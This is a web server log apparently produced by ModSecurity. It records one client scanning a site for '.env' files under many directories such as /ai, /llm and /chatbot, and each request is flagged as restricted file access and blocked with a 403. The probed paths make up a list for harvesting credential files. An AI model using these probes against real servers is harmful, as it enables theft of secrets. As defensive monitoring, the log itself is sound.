[Sun Oct 25 14:43:05.186319 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at5Nud6BoG8GuVESjJgBeAAAACU"]
[Sun Oct 25 14:43:05.186471 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at5Nud6BoG8GuVESjJgBeAAAACU"]
[Sun Oct 25 14:43:05.186706 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at5Nud6BoG8GuVESjJgBeAAAACU"]
[Sun Oct 25 14:43:05.199644 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60910] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /internal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at5NuXgFQMGvpHXnWRNuwQAAAB8"]
[Sun Oct 25 14:43:05.199976 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at5NuXgFQMGvpHXnWRNuwQAAAB8"]
[Sun Oct 25 14:43:05.200271 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at5NuXgFQMGvpHXnWRNuwQAAAB8"]
[Sun Oct 25 14:43:05.201300 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ai/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at5NuQl_YuTmdn3pCPOXmgAAAAk"]
[Sun Oct 25 14:43:05.201456 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at5NuQl_YuTmdn3pCPOXmgAAAAk"]
[Sun Oct 25 14:43:05.201681 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at5NuQl_YuTmdn3pCPOXmgAAAAk"]
[Sun Oct 25 14:43:05.208938 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /pipeline/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at5NuRNl8ZOaBiavdxV-nAAAACc"]
[Sun Oct 25 14:43:05.209160 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at5NuRNl8ZOaBiavdxV-nAAAACc"]
[Sun Oct 25 14:43:05.209285 2026] [security2:error] [pid 2882116:tid 2882116] [client 34.118.177.189:60948] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /model/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at5NufHHYcoN3l-6u0omVQAAAAA"]
[Sun Oct 25 14:43:05.209483 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at5NuRNl8ZOaBiavdxV-nAAAACc"]
[Sun Oct 25 14:43:05.209631 2026] [security2:error] [pid 2882116:tid 2882116] [client 34.118.177.189:60948] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at5NufHHYcoN3l-6u0omVQAAAAA"]
[Sun Oct 25 14:43:05.210040 2026] [security2:error] [pid 2882116:tid 2882116] [client 34.118.177.189:60948] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at5NufHHYcoN3l-6u0omVQAAAAA"]
[Sun Oct 25 14:43:05.210533 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ml/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at5NuXNQSJj6g_R4pvfwpQAAABI"]
[Sun Oct 25 14:43:05.210682 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at5NuXNQSJj6g_R4pvfwpQAAABI"]
[Sun Oct 25 14:43:05.210947 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at5NuXNQSJj6g_R4pvfwpQAAABI"]
[Sun Oct 25 14:43:05.211277 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /llm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at5NucAxLusXGhv5UJnA6QAAABE"]
[Sun Oct 25 14:43:05.211416 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at5NucAxLusXGhv5UJnA6QAAABE"]
[Sun Oct 25 14:43:05.211735 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at5NucAxLusXGhv5UJnA6QAAABE"]
[Sun Oct 25 14:43:05.223346 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60910] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lib/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at5NuXgFQMGvpHXnWRNuwgAAAB8"]
[Sun Oct 25 14:43:05.223524 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at5NuXgFQMGvpHXnWRNuwgAAAB8"]
[Sun Oct 25 14:43:05.223770 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at5NuXgFQMGvpHXnWRNuwgAAAB8"]
[Sun Oct 25 14:43:05.224065 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /pkg/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at5NuQl_YuTmdn3pCPOXmwAAAAk"]
[Sun Oct 25 14:43:05.224242 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at5NuQl_YuTmdn3pCPOXmwAAAAk"]
[Sun Oct 25 14:43:05.224497 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at5NuQl_YuTmdn3pCPOXmwAAAAk"]
[Sun Oct 25 14:43:05.224850 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60962] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /utils/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at5NuTh4F5IzB4_aosIHlAAAABQ"]
[Sun Oct 25 14:43:05.225011 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60962] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at5NuTh4F5IzB4_aosIHlAAAABQ"]
[Sun Oct 25 14:43:05.225253 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60962] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at5NuTh4F5IzB4_aosIHlAAAABQ"]
[Sun Oct 25 14:43:05.225452 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /common/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at5Nud6BoG8GuVESjJgBeQAAACU"]
[Sun Oct 25 14:43:05.225611 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at5Nud6BoG8GuVESjJgBeQAAACU"]
[Sun Oct 25 14:43:05.225824 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at5Nud6BoG8GuVESjJgBeQAAACU"]
[Sun Oct 25 14:43:05.226858 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.118.177.189:60852] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cmd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at5NuTnLqNfi2M7PPfhIyQAAABo"]
[Sun Oct 25 14:43:05.227021 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.118.177.189:60852] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at5NuTnLqNfi2M7PPfhIyQAAABo"]
[Sun Oct 25 14:43:05.227309 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.118.177.189:60852] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at5NuTnLqNfi2M7PPfhIyQAAABo"]
[Sun Oct 25 14:43:05.227939 2026] [security2:error] [pid 2882116:tid 2882116] [client 34.118.177.189:60948] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /chatbot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at5NufHHYcoN3l-6u0omVgAAAAA"]
[Sun Oct 25 14:43:05.228083 2026] [security2:error] [pid 2882116:tid 2882116] [client 34.118.177.189:60948] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at5NufHHYcoN3l-6u0omVgAAAAA"]
[Sun Oct 25 14:43:05.228292 2026] [security2:error] [pid 2882116:tid 2882116] [client 34.118.177.189:60948] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at5NufHHYcoN3l-6u0omVgAAAAA"]
